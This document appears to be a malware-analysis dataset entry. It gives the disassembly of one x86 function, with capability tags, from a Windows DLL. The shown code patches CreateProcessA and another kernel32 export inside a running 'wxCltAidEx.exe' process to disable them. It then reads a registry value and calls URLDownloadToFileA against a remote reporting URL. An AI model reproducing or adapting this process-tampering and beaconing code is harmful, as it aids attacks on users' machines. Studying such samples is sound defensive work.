Function at 0x10001da0
Capabilities:
Allocate or change rwx memory
Download url
Enumerate processes
Execute shellcode via indirect call
Query or enumerate registry value
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x260
push ebx
push ebp
push esi
push edi
push 0
push 2
mov dword [esp + 0x1c], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x28], ebp
jne 0x10001dd8
mov eax, dword [0x1000a90c]
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, 0x4a
lea edi, [esp + 0x40]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x40]
push eax
push ebp
mov dword [esp + 0x48], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10001f24
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea ecx, [esp + 0x64]
push str.wxCltAidEx.exe
push ecx
call fcn.10002208
add esp, 8
test eax, eax
jne 0x10001f11
mov edx, dword [esp + 0x48]
push edx
push eax
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10001f11
push str.kernel32.dll
mov dword [esp + 0x18], 1
mov byte [esp + 0x24], 0xc2
mov byte [esp + 0x25], 8
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
mov byte [esp + 0x20], 0xc2
mov byte [esp + 0x21], 0x28
mov byte [esp + 0x22], 0
mov byte [esp + 0x23], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, eax
test ebp, ebp
je 0x10001f06
push str.CreateProcessA
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10001ec3
lea eax, [esp + 0x18]
push eax
push 0x40
push 4
push edi
push esi
call ebx
lea ecx, [esp + 0x24]
push ecx
push 4
lea edx, [esp + 0x24]
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x18]
push eax
push ecx
push 4
push edi
push esi
call ebx
push 0x10008328
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10001f06
lea edx, [esp + 0x18]
push edx
push 0x40
push 4
push edi
push esi
call ebx
lea eax, [esp + 0x24]
push eax
push 4
lea ecx, [esp + 0x28]
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x18]
push edx
push eax
push 4
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [esp + 0x28]
lea ecx, [esp + 0x40]
push ecx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10001e06
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10001fe2
lea edx, [esp + 0x14]
push edx
push 0xf003f
push 0
push str.Softwaregoyooi8desk
push 0x80000002
mov byte [esp + 0x40], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001f88
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x2c]
push edx
push 0
push 0x10008248
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x12
mov esi, str.http:__hm.i8.com.cn_Interface_ExecuteReport.aspx_ADProjectID10001nid
lea edi, [esp + 0x168]
lea eax, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001fa1
lea edi, [esp + 0x168]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10001fb2
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push str.c:windows_system321.txt
lea edx, [esp + 0x174]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call sub.urlmon.dll_URLDownloadToFileA
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret